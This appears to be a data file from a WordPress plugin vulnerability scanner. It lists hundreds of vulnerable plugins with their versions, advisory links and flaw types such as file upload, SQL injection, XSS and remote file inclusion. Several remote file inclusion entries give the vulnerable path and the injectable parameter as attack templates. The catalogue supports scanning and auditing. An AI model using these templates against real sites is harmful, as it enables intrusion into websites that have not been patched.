Vulnerability + http://www.exploit-db.com/exploits/19057/ + UPLOAD + + + + + + Custom Content Type Manager 0.9.5.13-pl Arbitrary File Upload Vulnerability + http://www.exploit-db.com/exploits/19058/ + UPLOAD + + + + + + wp-gpx-max version 1.1.21 Arbitrary File Upload + http://www.exploit-db.com/exploits/19050/ + UPLOAD + + + + + + Front File Manager Plugin 0.1 Arbitrary File Upload + http://www.exploit-db.com/exploits/19012/ + UPLOAD + + + + + + Front End Upload 0.5.3 Arbitrary File Upload + http://www.exploit-db.com/exploits/19008/ + UPLOAD + + + + + + Omni Secure Files 0.1.13 Arbitrary File Upload + http://www.exploit-db.com/exploits/19009/ + UPLOAD + + + + + + Easy Contact Forms Export 1.1.0 Information Disclosure Vulnerability + http://www.exploit-db.com/exploits/19013/ + UNKNOWN + + + + + + PICA Photo Gallery 1.0 Remote File Disclosure + http://www.exploit-db.com/exploits/19016/ + UNKNOWN + + + + + + Plugin: Newsletter 1.5 Remote File Disclosure Vulnerability + http://www.exploit-db.com/exploits/19018/ + UNKNOWN + + + + + + RBX Gallery 2.1 Arbitrary File Upload + http://www.exploit-db.com/exploits/19019/ + UPLOAD + + + + + + Simple Download Button Shortcode 1.0 Remote File Disclosure + http://www.exploit-db.com/exploits/19020/ + UNKNOWN + + + + + + Thinkun Remind 1.1.3 Remote File Disclosure + http://www.exploit-db.com/exploits/19021/ + UNKNOWN + + + + + + Tinymce Thumbnail Gallery 1.0.7 Remote File Disclosure + http://www.exploit-db.com/exploits/19022/ + UNKNOWN + + + + + + wpStoreCart Plugin 2.5.27-2.5.29 Arbitrary File Upload + http://www.exploit-db.com/exploits/19023/ + UPLOAD + + + + + + Gallery 3.06 Arbitrary File Upload + http://www.exploit-db.com/exploits/18998/ + UPLOAD + + + + + + Font Uploader 1.2.4 Arbitrary File Upload + http://www.exploit-db.com/exploits/18994/ + UPLOAD + + + + + + WP-Property 1.35.0 Arbitrary File Upload + http://www.exploit-db.com/exploits/18987/ + UPLOAD + + + + + + WP Marketplace 1.5.0 - 1.6.1 Arbitrary File Upload + http://www.exploit-db.com/exploits/18988/ + UPLOAD + + + + + + Google Maps via Store Locator Multiple Vulnerabilities + http://www.exploit-db.com/exploits/18989/ + MULTI + + + + + + HTML5 AV Manager 0.2.7 Arbitrary File Upload + http://www.exploit-db.com/exploits/18990/ + UPLOAD + + + + + + Foxypress 0.4.1.1 - 0.4.2.1 Arbitrary File Upload + http://packetstormsecurity.org/files/113576/, http://www.exploit-db.com/exploits/18991/, http://www.exploit-db.com/exploits/19100/ + UPLOAD + + + + + + Asset Manager 0.2 Arbitrary File Upload + http://www.exploit-db.com/exploits/18993/ + UPLOAD + + + + + + Track That Stat <= 1.0.8 Cross Site Scripting + http://packetstormsecurity.org/files/112722/ + XSS + + + + + + WP-Facethumb Gallery <= 0.1 Reflected Cross Site Scripting + http://packetstormsecurity.org/files/112658/ + XSS + + + + + + Survey And Quiz Tool <= 2.9.2 Cross Site Scripting + http://packetstormsecurity.org/files/112685/ + XSS + + + + + + WP Statistics <= 2.2.4 Cross Site Scripting + http://packetstormsecurity.org/files/112686/ + XSS + + + + + + WP Easy Gallery <= 1.7 Cross Site Scripting + http://packetstormsecurity.org/files/112687/ + XSS + + + + + + Subscribe2 <= 8.0 Cross Site Scripting + http://packetstormsecurity.org/files/112688/ + XSS + + + + + + Soundcloud Is Gold <= 2.1 Cross Site Scripting + http://packetstormsecurity.org/files/112689/ + XSS + + + + + + Sharebar <= 1.2.1 SQL Injection / Cross Site Scripting + http://packetstormsecurity.org/files/112690/ + MULTI + + + + + + Share And Follow <= 1.80.3 Cross Site Scripting + http://packetstormsecurity.org/files/112691/ + XSS + + + + + + SABRE <= 1.2.0 Cross Site Scripting + http://packetstormsecurity.org/files/112692/ + XSS + + + + + + Pretty Link Lite <= 1.5.2 Cross Site Scripting + http://packetstormsecurity.org/files/112693/ + XSS + + + + + + Newsletter Manager <= 1.0 Cross Site Scripting + http://packetstormsecurity.org/files/112694/ + XSS + + + + + + Network Publisher <= 5.0.1 Cross Site Scripting + http://packetstormsecurity.org/files/112695/ + XSS + + + + + + LeagueManager <= 3.7 Cross Site Scripting + http://packetstormsecurity.org/files/112698/ + XSS + + + + + + Leaflet <= 0.0.1 Cross Site Scripting + http://packetstormsecurity.org/files/112699/ + XSS + + + + + + PDF And Print Button Joliprint <= 1.3.0 Cross Site Scripting + http://packetstormsecurity.org/files/112700/ + XSS + + + + + + IFrame Admin Pages <= 0.1 Cross Site Scripting + http://packetstormsecurity.org/files/112701/ + XSS + + + + + + EZPZ One Click Backup <= 12.03.10 Cross Site Scripting + http://packetstormsecurity.org/files/112705/ + XSS + + + + + + Dynamic Widgets <= 1.5.1 Cross Site Scripting + http://packetstormsecurity.org/files/112706/ + XSS + + + + + + Download Monitor <= 3.3.5.4 Cross Site Scripting + http://packetstormsecurity.org/files/112707/ + XSS + + + + + + Download Manager <= 2.2 Cross Site Scripting + http://packetstormsecurity.org/files/112708/ + XSS + + + + + + Code Styling Localization <= 1.99.16 Cross Site Scripting + http://packetstormsecurity.org/files/112709/ + XSS + + + + + + Catablog <= 1.6 Cross Site Scripting + http://packetstormsecurity.org/files/112619/ + XSS + + + + + + Bad Behavior <= 2.24 Cross Site Scripting + http://packetstormsecurity.org/files/112619/ + XSS + + + + + + BulletProof Security <= 0.47 Cross Site Scripting + http://packetstormsecurity.org/files/112618/ + XSS + + + + + + Better WP Security <= 3.2.4 Cross Site Scripting + http://packetstormsecurity.org/files/112617/ + XSS + + + + + + Custom Contact Forms <= 5.0.0.1 Cross Site Scripting + http://packetstormsecurity.org/files/112616/ + XSS + + + + + + 2-Click-Socialmedia-Buttons <= 0.34 Cross Site Scripting + http://packetstormsecurity.org/files/112615/ + XSS + + + 2-Click-Socialmedia-Buttons <= 0.32.2 Cross Site Scripting + http://packetstormsecurity.org/files/112711/ + XSS + + + + + + Login With Ajax plugin < 3.0.4.1 Cross Site Scripting + http://secunia.com/advisories/49013/ + XSS + + + + + + Media Library Categories plugin <= 1.0.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17628/ + SQLI + + + Media Library Categories plugin <= 1.1.1 Cross Site Scripting + http://packetstormsecurity.org/files/112697/ + SQLI + + + + + + FCKeditor Deans With Pwwangs Code <= 1.0.0 Remote Shell Upload + http://packetstormsecurity.org/files/111319/ + RFI + + + + + + Zingiri Web Shop <= 2.4.0 Multiple XSS Vulnerabilities + http://www.exploit-db.com/exploits/18787/ + XSS + + + Zingiri Web Shop <= 2.3.5 Cross Site Scripting + http://packetstormsecurity.org/files/112684/ + XSS + + + Zingiri Web Shop 2.4.3 Shell Upload + http://packetstormsecurity.org/files/113668/ + UPLOAD + + + + + + Organizer 1.2.1 Cross Site Scripting / Path Disclosure + http://packetstormsecurity.org/files/112086, http://packetstormsecurity.org/files/113800 + MULTI + + + + + + Zingiri Tickets plugin File Disclosure + http://packetstormsecurity.org/files/111904 + UNKNOWN + + + + + + XSS vulnerability in CMS Tree Page View Plugin + https://www.htbridge.com/advisory/HTB23083 + XSS + + + + + + Multiple XSS vulnerabilities in All-in-One Event Calendar for WordPress + http://seclists.org/bugtraq/2012/Apr/70 + XSS + + + + + + Buddypress <= 1.5.5 SQL Injection + http://www.exploit-db.com/exploits/18690/ + SQLI + + + + + + Register Plus Redux <= 3.8.3 Cross Site Scripting + http://packetstormsecurity.org/files/111367 + XSS + + + + + + Magn WP Drag and Drop <= 1.1.4 Upload Shell Upload Vulnerability + http://packetstormsecurity.org/files/110103 + UPLOAD + + + + + + Kish Guest Posting 1.0 Arbitrary File Upload + http://www.exploit-db.com/exploits/18412/ + RFI + + + + + + AllWebMenus Shell Upload <= 1.1.9 Shell Upload + http://packetstormsecurity.org/files/108946/ + RFI + + + AllWebMenus 1.1.3 Remote File Inclusion + http://www.exploit-db.com/exploits/17861/ + RFI + /wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php + abspath=XXpathXX + + + + + + Shortcode Redirect <= 1.0.01 Stored Cross Site Scripting + http://packetstormsecurity.org/files/108914/ + XSS + + + + + + uCan Post plugin <= 1.0.09 Stored XSS + http://www.exploit-db.com/exploits/18390/ + XSS + + + + + + WP Cycle Playlist plugin Multiple Vulnerabilities + http://1337day.com/exploits/17396 + MULTI + + + + + + myEASYbackup 1.0.8.1 Directory Traversal + http://packetstormsecurity.org/files/108711 + UNKNOWN + + + + + + Count Per Day plugin <= 3.1.1 Multiple Vulnerabilities + http://www.exploit-db.com/exploits/18355/ + MULTI + + + Count per Day plugin <= 2.17 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17857/ + SQLI + + + + + + WP-AutoYoutube plugin <= 0.1 Blind SQL Injection Vulnerability + http://1337day.com/exploits/17368 + SQLI + + + + + + Age Verification plugin <= 0.4 Open Redirect + http://www.exploit-db.com/exploits/18350 + REDIRECT + + + + + + Yousaytoo Auto Publishing <= 1.0 Cross Site Scripting + http://packetstormsecurity.org/files/108470 + XSS + + + + + + Pay With Tweet plugin <= 1.1 Multiple Vulnerabilities + http://www.exploit-db.com/exploits/18330/ + MULTI + + + + + + Whois Search <= 1.4.2 Cross Site Scripting + http://packetstormsecurity.org/files/108271 + XSS + + + + + + BLIND SQL injection UPM-POLLS plugin 1.0.4 + http://www.exploit-db.com/exploits/18231/ + SQLI + + + + + + Disqus Comment System <= 2.68 Reflected Cross-Site Scripting (XSS) + http://www.ethicalhack3r.co.uk/security/wordpress-plugin-disqus-comment-system-xss/ + XSS + + + + + + Google reCAPTCHA <= 3.1.3 Reflected XSS Vulnerability + http://security-sh3ll.blogspot.com/2011/12/google-recaptcha-wordpress-plugin.html + XSS + + + + + + Link Library plugin <= 5.2.1 SQL Injection + http://www.exploit-db.com/exploits/17887/ + SQLI + + + + + + CevherShare 2.0 plugin SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17891/ + SQLI + + + + + + WP Glossary plugin SQL Injection Vulnerability + http://www.exploit-db.com/exploits/18055/ + SQLI + + + + + + jetpack plugin SQL Injection Vulnerability + http://www.exploit-db.com/exploits/18126/ + SQLI + + + + + + meenews 5.1 plugin Cross-Site Scripting Vulnerabilities + http://seclists.org/bugtraq/2011/Nov/151 + XSS + + + + + + Click Desk Live Support Chat < 2.0 Cross Site Scripting Vulnerability + http://seclists.org/bugtraq/2011/Nov/148 + XSS + + + + + + adminimize 1.7.21 Cross-Site Scripting Vulnerabilities + http://seclists.org/bugtraq/2011/Nov/135 + XSS + + + + + + Advanced Text Widget <= 2.0.0 Cross Site Scripting Vulnerability + http://seclists.org/bugtraq/2011/Nov/133 + XSS + + + + + + MM Duplicate plugin <= 1.2 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17707/ + SQLI + + + + + + UnGallery plugin <= 1.5.8 Local File Disclosure Vulnerability + http://www.exploit-db.com/exploits/17704/ + LFI + + + + + + Menu Creator plugin <= 1.1.7 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17689/ + SQLI + + + + + + Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17688/ + SQLI + + + + + + Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17687/ + SQLI + + + + + + Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17686/ + SQLI + + + + + + WP DS FAQ plugin <= 1.3.2 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17683/ + SQLI + + + + + + OdiHost Newsletter plugin <= 1.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17681/ + SQLI + + + + + + Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17680/ + SQLI + + + + + + WP Symposium plugin <= 0.64 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17679/ + SQLI + + + + + + Contus HD FLV Player plugin <= 1.3 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17678/ + SQLI + + + + + + File Groups plugin <= 1.1.2 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17677/ + SQLI + + + + + + IP-Logger plugin <= 3.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17673/ + SQLI + + + + + + Beer Recipes v.1.0 XSS + http://www.exploit-db.com/exploits/17453/ + SQLI + + + + + + Is-human <=1.4.2 Remote Command Execution Vulnerability + http://www.exploit-db.com/exploits/17299/ + RCE + + + + + + EditorMonkey plugin (FCKeditor) Arbitrary File Upload + http://www.exploit-db.com/exploits/17284/ + UPLOAD + + + + + + SermonBrowser 0.43 SQL Injection + http://www.exploit-db.com/exploits/17214/ + SQLI + + + + + + Ajax Category Dropdown 0.1.5 Multiple Vulnerabilities + http://www.exploit-db.com/exploits/17207/ + MULTI + + + + + + WP Custom Pages 0.5.0.1 LFI Vulnerability + http://www.exploit-db.com/exploits/17119/ + LFI + + + + + + GRAND Flash Album Gallery 0.55 Multiple Vulnerabilities + http://www.exploit-db.com/exploits/16947/ + MULTI + + + GRAND Flash Album Gallery <= 1.56 XSS Vulnerability + http://seclists.org/bugtraq/2011/Nov/186 + XSS + + + GRAND Flash Album Gallery <= 1.71 XSS Vulnerability + http://packetstormsecurity.org/files/112704 + XSS + + + + + + PHP Speedy <= 0.5.2 (admin_container.php) Remote Code Exec Exploit + http://www.exploit-db.com/exploits/16273/ + RCE + + + + + + OPS Old Post Spinner 2.2.1 LFI Vulnerability + http://www.exploit-db.com/exploits/16251/ + LFI + + + + + + jQuery Mega Menu 1.0 Local File Inclusion + http://www.exploit-db.com/exploits/16250/ + LFI + + + + + + IWantOneButton 3.0.1 Multiple Vulnerabilities + http://www.exploit-db.com/exploits/16236/ + MULTI + + + + + + WP Forum Server 1.6.5 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/16235/ + SQLI + + + WP Forum Server plugin <= 1.7 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17828/ + SQLI + + + WP Forum Server plugin <= 1.7.3 SQL Injection / XSS Vulnerabilities + http://www.packetstormsecurity.org/files/112703 + MULTI + + + + + + Relevanssi 2.7.2 Stored XSS Vulnerability + http://www.exploit-db.com/exploits/16233/ + XSS + + + + + + GigPress 2.1.10 Stored XSS Vulnerability + http://www.exploit-db.com/exploits/16232/ + XSS + + + + + + Comment Rating 2.9.23 Multiple Vulnerabilities + http://www.exploit-db.com/exploits/16221/ + MULTI + + + + + + Z-Vote 1.1 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/16218/ + SQLI + + + + + + User Photo Component Remote File Upload Vulnerability + http://www.exploit-db.com/exploits/16181/ + UPLOAD + + + + + + Enable Media Replace Multiple Vulnerabilities + http://www.exploit-db.com/exploits/16144/ + MULTI + + + + + + Mingle Forum <= 1.0.32.1 Cross Site Scripting / SQL Injection + http://packetstormsecurity.org/files/108915/ + MULTI + + + Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17894/ + SQLI + + + Mingle Forum (Plugin) <= 1.0.26 Multiple Vulnerabilities + http://www.exploit-db.com/exploits/15943/ + MULTI + + + Mingle Forum <= 1.0.33 Cross Site Scripting + http://packetstormsecurity.org/files/112696/ + MULTI + + + + + + Accept Signups 0.1 XSS + http://www.exploit-db.com/exploits/15808/ + XSS + + + + + + Events Manager Extended Persistent XSS Vulnerability + http://www.exploit-db.com/exploits/14923/ + XSS + + + + + + NextGEN Smooth Gallery Blind SQL Injection Vulnerability + http://www.exploit-db.com/exploits/14541/ + SQLI + + + + + + myLDlinker SQL Injection Vulnerability + http://www.exploit-db.com/exploits/14441/ + SQLI + + + + + + Firestats Remote Configuration File Download + http://www.exploit-db.com/exploits/14308/ + UNKNOWN + + + + + + Simple:Press SQL Injection Vulnerability + http://www.exploit-db.com/exploits/14198/ + SQLI + + + + + + Vulnerabilities in Cimy Counter for WordPress + http://www.exploit-db.com/exploits/14057/ + MULTI + + + + + + XSS in NextGEN Gallery <= 1.5.1 + http://www.exploit-db.com/exploits/12098/ + XSS + + + + + + Copperleaf Photolog SQL injection + http://www.exploit-db.com/exploits/11458/ + SQLI + + + + + + Events SQL Injection Vulnerability + http://www.exploit-db.com/exploits/10929/ + SQLI + + + + + + Image Manager Plugins Shell Upload Vulnerability + http://www.exploit-db.com/exploits/10325/ + UPLOAD + + + + + + Vulnerabilities in WP-Cumulus <= 1.20 for WordPress + http://www.exploit-db.com/exploits/10228/ + MULTI + + + WP-Cumulus < 1.23 Cross Site Scripting Vulnerabily + http://seclists.org/fulldisclosure/2011/Nov/340 + XSS + + + + + + WP-Syntax <= 0.9.1 Remote Command Execution + http://www.exploit-db.com/exploits/9431/ + RCE + + + + + + My Category Order <= 2.8 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/9150/ + SQLI + + + + + + Related Sites 2.1 Blind SQL Injection Vulnerability + http://www.exploit-db.com/exploits/9054/ + SQLI + + + + + + DM Albums 1.9.2 Remote File Disclosure Vulnerability + http://www.exploit-db.com/exploits/9048/ + LFI + + + DM Albums 1.9.2 Remote File Inclusion Vuln + http://www.exploit-db.com/exploits/9043/ + RFI + /wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=XXpathXX + + + + + + Photoracer 1.0 (id) SQL Injection Vulnerability + http://www.exploit-db.com/exploits/8961/ + SQLI + + + Photoracer plugin <= 1.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17720/ + SQLI + + + Photoracer plugin <= 1.0 Multiple Vulnerabilities + http://www.exploit-db.com/exploits/17731/ + MULTI + + + + + + Lytebox (wp-lytebox) Local File Inclusion Vulnerability + http://www.exploit-db.com/exploits/8791/ + LFI + + + + + + fMoblog 2.1 (id) SQL Injection Vulnerability + http://www.exploit-db.com/exploits/8229/ + SQLI + + + + + + Page Flip Image Gallery <= 0.2.2 Remote FD Vuln + http://www.exploit-db.com/exploits/7543/ + LFI + + + + + + e-Commerce <= 3.4 Arbitrary File Upload Exploit + http://www.exploit-db.com/exploits/6867/ + UPLOAD + + + + + + Download Manager 0.2 Arbitrary File Upload Exploit + http://www.exploit-db.com/exploits/6127/ + UPLOAD + + + + + + Spreadsheet <= 0.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/5486/ + SQLI + + + + + + Download (dl_id) SQL Injection Vulnerability + http://www.exploit-db.com/exploits/5326/ + SQLI + + + + + + Sniplets 1.1.2 (RFI/XSS/RCE) Multiple Vulnerabilities + http://www.exploit-db.com/exploits/5194/ + MULTI + + + + + + Photo album Remote SQL Injection Vulnerability + http://www.exploit-db.com/exploits/5135/ + SQLI + + + + + + Simple Forum 2.0-2.1 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/5126/ + SQLI + + + Simple Forum 1.10-1.11 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/5127/ + SQLI + + + + + + st_newsletter Remote SQL Injection Vulnerability + http://www.exploit-db.com/exploits/5053/ + SQLI + + + st_newsletter (stnl_iframe.php) SQL Injection Vuln + http://www.exploit-db.com/exploits/6777/ + SQLI + + + + + + Wordspew Remote SQL Injection Vulnerability + http://www.exploit-db.com/exploits/5039/ + SQLI + + + + + + dmsguestbook 1.7.0 Multiple Remote Vulnerabilities + http://www.exploit-db.com/exploits/5035/ + MULTI + + + + + + WassUp 1.4.3 (spy.php to_date) SQL Injection Exploit + http://www.exploit-db.com/exploits/5017/ + SQLI + + + + + + Adserve 0.2 adclick.php SQL Injection Exploit + http://www.exploit-db.com/exploits/5013/ + SQLI + + + + + + plugin fGallery 2.4.1 fimrss.php SQL Injection Vulnerability + http://www.exploit-db.com/exploits/4993/ + SQLI + + + + + + WP-Cal 0.3 editevent.php SQL Injection Vulnerability + http://www.exploit-db.com/exploits/4992/ + SQLI + + + + + + plugin WP-Forum 1.7.4 Remote SQL Injection Vulnerability + http://www.exploit-db.com/exploits/4939/ + SQLI + + + plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability + http://www.exploit-db.com/exploits/7738/ + SQLI + + + + + + Wp-FileManager 1.2 Remote Upload Vulnerability + http://www.exploit-db.com/exploits/4844/ + UPLOAD + + + + + + PictPress <= 0.91 Remote File Disclosure Vulnerability + http://www.exploit-db.com/exploits/4695/ + LFI + + + + + + BackUp<= 0.4.2b RFI Vulnerability + http://www.exploit-db.com/exploits/4593/ + RFI + /wp-content/plugins/BackUp/Archive.php?bkpwp_plugin_path=XXpathXX + + + + + + plugin myflash <= 1.00 (wppath) RFI Vulnerability + http://www.exploit-db.com/exploits/3828/ + RFI + /wp-content/plugins/myflash/myflash-button.php?wpPATH=XXpathXX + + + + + + plugin wordTube <= 1.43 (wpPATH) RFI Vulnerability + http://www.exploit-db.com/exploits/3825/ + RFI + /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=XXpathXX + + + + + + plugin wp-Table <= 1.43 (inc_dir) RFI Vulnerability + http://www.exploit-db.com/exploits/3824/ + RFI + /wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=XXpathXX + + + + + + myGallery <= 1.4b4 Remote File Inclusion Vulnerability + http://www.exploit-db.com/exploits/3814/ + RFI + /mygallery/myfunctions/mygallerybrowser.php?myPath=XXpathXX + + + + + + SendIt plugin <= 1.5.9 Blind SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17716/ + SQLI + + + + + + Js-appointment plugin <= 1.5 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17724/ + SQLI + + + + + + MM Forms Community <= 1.2.3 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17725/ + SQLI + + + MM Forms Community 2.2.6 Arbitrary File Upload + http://www.exploit-db.com/exploits/18997/ + UPLOAD + + + + + + Super CAPTCHA plugin <= 2.2.4 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17728/ + SQLI + + + + + + Collision Testimonials plugin <= 3.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17729/ + SQLI + + + + + + Oqey Headers plugin <= 0.3 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17730/ + SQLI + + + + + + Facebook Promotions plugin <= 1.3.3 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17737/ + SQLI + + + + + + Evarisk plugin <= 5.1.3.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17738/ + SQLI + + + Evarisk 5.1.5.4 Shell Upload + http://packetstormsecurity.org/files/113638/ + UPLOAD + + + + + + Profiles plugin <= 2.0 RC1 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17739/ + SQLI + + + + + + mySTAT plugin <= 2.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17740/ + SQLI + + + + + + SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17748/ + SQLI + + + + + + iCopyright(R) Article Tools plugin <= 1.1.4 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17749/ + SQLI + + + + + + Advertizer plugin <= 1.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17750/ + SQLI + + + + + + Event Registration plugin <= 5.44 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17814/ + SQLI + + + Event Registration plugin <= 5.43 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17751/ + SQLI + + + Event Registration 5.32 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/15513/ + SQLI + + + + + + Craw Rate Tracker plugin <= 2.0.2 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17755/ + SQLI + + + + + + wp audio gallery playlist plugin <= 0.12 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17756/ + SQLI + + + + + + yolink Search plugin <= 1.1.4 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17757/ + SQLI + + + + + + PureHTML plugin <= 1.0.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17758/ + SQLI + + + + + + Couponer plugin <= 1.2 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17759/ + SQLI + + + + + + grapefile plugin <= 1.1 Arbitrary File Upload + http://www.exploit-db.com/exploits/17760/ + UPLOAD + + + + + + image-gallery-with-slideshow plugin <= 1.5 Arbitrary File Upload / SQL Injection + http://www.exploit-db.com/exploits/17761/ + MULTI + + + + + + Donation plugin <= 1.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17763/ + SQLI + + + + + + WP Bannerize plugin <= 2.8.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17764/ + SQLI + + + WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17906/ + SQLI + + + + + + SearchAutocomplete plugin <= 1.0.8 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17767/ + SQLI + + + + + + VideoWhisper Video Presentation plugin <= 1.1 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17771/ + SQLI + + + + + + Facebook Opengraph Meta plugin <= 1.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17773/ + SQLI + + + + + + Zotpress plugin <= 4.4 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17778/ + SQLI + + + + + + oQey Gallery plugin <= 0.4.8 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17779/ + SQLI + + + + + + Tweet Old Post plugin <= 3.2.5 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17789/ + SQLI + + + + + + post highlights plugin <= 2.2 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17790/ + SQLI + + + + + + KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17791/ + SQLI + + + + + + SCORM Cloud plugin <= 1.0.6.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17793/ + SQLI + + + + + + Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17794/ + SQLI + + + + + + Paid Downloads plugin <= 2.01 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17797/ + SQLI + + + + + + Community Events plugin <= 1.2.1 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17798/ + SQLI + + + + + + 1 Flash Gallery Arbiraty File Upload Exploit (MSF) + http://www.exploit-db.com/exploits/17801/ + UPLOAD + + + + + + WP-Filebase Download Manager plugin <= 0.2.9 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17808/ + SQLI + + + + + + A to Z Category Listing plugin <= 1.3 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17809/ + SQLI + + + + + + WP e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17832/ + SQLI + + + + + + Filedownload 0.1 (download.php) Remote File Disclosure Vulnerability + http://www.exploit-db.com/exploits/17858/ + LFI + + + + + + TheCartPress <= 1.6 Cross Site Sripting + http://packetstormsecurity.org/files/108272/ + XSS + + + TheCartPress 1.1.1 Remote File Inclusion + http://www.exploit-db.com/exploits/17860/ + RFI + /wp-content/plugins/thecartpress/checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=XXpathXX + + + + + + WPEasyStats 1.8 Remote File Inclusion + http://www.exploit-db.com/exploits/17862/ + RFI + /wp-content/plugins/wpeasystats/export.php?homep=XXpathXX + + + + + + Annonces 1.2.0.0 Remote File Inclusion + http://www.exploit-db.com/exploits/17863/ + RFI + /wp-content/plugins/annonces/includes/lib/photo/uploadPhoto.php?abspath=XXpathXX + + + + + + Livesig 0.4 Remote File Inclusion + http://www.exploit-db.com/exploits/17864/ + RFI + /wp-content/plugins/livesig/livesig-ajax-backend.php + wp-root=XXpathXX&action=asdf + + + + + + Disclosure Policy 1.0 Remote File Inclusion + http://www.exploit-db.com/exploits/17865/ + RFI + /wp-content/plugins/disclosure-policy-plugin/functions/action.php?delete=asdf&blogUrl=asdf&abspath=XXpathXX + + + + + + Mailing List 1.3.2 Remote File Inclusion + http://www.exploit-db.com/exploits/17866/ + RFI + /wp-content/plugins/mailz/lists/config/config.php?wpabspath=XXpathXX + + + Mailing List < 1.4.1 Arbitrary file download + http://www.exploit-db.com/exploits/18276/ + UNKNOWN + + + + + + Zingiri Web Shop 2.2.0 Remote File Inclusion + http://www.exploit-db.com/exploits/17867/ + RFI + /wp-content/plugins/g-web-shop/fws/ajax/init.inc.php?wpabspath=XXpathXX + + + Zingiri Web Shop <= 2.2.3 Remote Code Execution + http://www.exploit-db.com/exploits/18111/ + RCE + + + + + + Mini Mail Dashboard Widget 1.36 Remote File Inclusion + http://www.exploit-db.com/exploits/17868/ + RFI + + + + + + Relocate Upload 0.14 Remote File Inclusion + http://www.exploit-db.com/exploits/17869/ + RFI + /wp-content/plugins/relocate-upload/relocate-upload.php?ru_folder=asdf&abspath=XXpathXX + + + + + + Category Grid View Gallery plugin 0.1.1 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Auto Attachments plugin 0.2.9 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + WP Marketplace plugin 1.1.0 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + DP Thumbnail plugin 1.0 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Vk Gallery plugin 1.1.0 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Rekt Slideshow plugin 1.0.5 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + CAC Featured Content plugin 0.8 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Rent A Car plugin 1.0 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + LISL Last Image Slider plugin 1.0 Shell Upload vulnerability + 